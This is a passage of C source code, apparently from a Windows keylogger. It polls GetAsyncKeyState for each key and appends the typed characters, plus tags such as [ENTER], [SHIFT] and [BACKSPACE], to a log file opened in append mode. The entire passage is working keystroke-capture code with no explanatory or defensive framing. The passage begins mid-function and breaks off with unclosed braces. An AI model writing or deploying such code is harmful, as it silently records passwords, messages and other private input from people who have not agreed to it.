...
FILE *file;
file = fopen(filename, "a+");
if (!(file))
    return -1;

if(GetAsyncKeyState(character)==-32767)
                        {  
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              break;    
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              break;    
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              break;                                
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              break;
                                              default:
                                              break;
                                       }        
                             }